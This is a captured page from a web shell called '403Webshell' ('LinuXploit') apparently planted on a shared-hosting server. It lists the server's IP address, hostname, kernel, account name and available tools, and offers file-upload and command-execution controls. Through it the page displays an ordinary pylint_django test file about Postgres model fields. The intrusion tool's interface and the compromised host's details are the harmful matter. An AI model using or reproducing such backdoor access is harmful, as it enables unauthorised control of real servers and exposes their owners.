403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.117.254.236
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/pylint_django/tests/input/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/pylint_django/tests/input/external_psycopg2_noerror_postgres_fields.py
"""
Checks that Pylint does not complain Postgres model fields.
"""
#  pylint: disable=C0111,W5101
from __future__ import print_function

from django.contrib.postgres import fields
from django.db import models


class PostgresFieldsModel(models.Model):
    arrayfield = fields.ArrayField(models.CharField())
    hstorefield = fields.HStoreField()
    jsonfield = fields.JSONField()
    rangefield = fields.RangeField()
    integerrangefield = fields.IntegerRangeField()
    bigintegerrangefield = fields.BigIntegerRangeField()
    floatrangefield = fields.FloatRangeField()
    datetimerangefield = fields.DateTimeRangeField()
    daterangefield = fields.DateRangeField()

    def arrayfield_tests(self):
        sorted_array = self.arrayfield.sort()
        print(sorted_array)

    def dictfield_tests(self):
        print(self.hstorefield.keys())
        print(self.hstorefield.values())
        print(self.hstorefield.update({"foo": "bar"}))

        print(self.jsonfield.keys())
        print(self.jsonfield.values())
        print(self.jsonfield.update({"foo": "bar"}))

    def rangefield_tests(self):
        print(self.rangefield.lower)
        print(self.rangefield.upper)

        print(self.integerrangefield.lower)
        print(self.integerrangefield.upper)

        print(self.bigintegerrangefield.lower)
        print(self.bigintegerrangefield.upper)

        print(self.floatrangefield.lower)
        print(self.floatrangefield.upper)

        print(self.datetimerangefield.lower)
        print(self.datetimerangefield.upper)

        print(self.daterangefield.lower)
        print(self.daterangefield.upper)

Youez - 2016 - github.com/yon3zu
LinuXploit